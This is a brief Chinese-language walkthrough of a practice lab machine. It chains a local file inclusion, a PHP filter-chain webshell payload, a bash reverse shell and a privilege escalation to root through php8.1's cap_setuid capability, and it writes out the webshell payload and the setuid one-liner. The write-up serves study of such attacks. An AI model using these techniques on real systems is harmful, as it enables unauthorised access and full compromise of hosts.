先看web

打开发现url可以包含文件

http://192.168.56.116/index.php?page=home.php

尝试包含/etc/passwd

成功包含

但是不能有filter过滤没法用php链getshell

扫一下目录

在file.php可以本地文件包含，并且可以使用filter

根据昨天靶场的经验用php_filter_chain_generator.py，而且不用二次编码绕过

 python .\php_filter_chain_generator.py --chain '<?=`$_GET[0]` ?>'

反弹shell，nc不行，用bash

拿到shell

之后就是翻目录找提取文件

愣是没找到

网段 进程也看了没有什么东西

内核也没什么东西

借助linpeas扫一下

在capabilities里面发现/usr/bin/php8.1 cap_setuid=ep

php8.1可以进行capabilities提权

参考exp

/usr/bin/php8.1 -r "posix_setuid(0); system('/bin/sh');"

直接拿到root权限，然后拿到flag
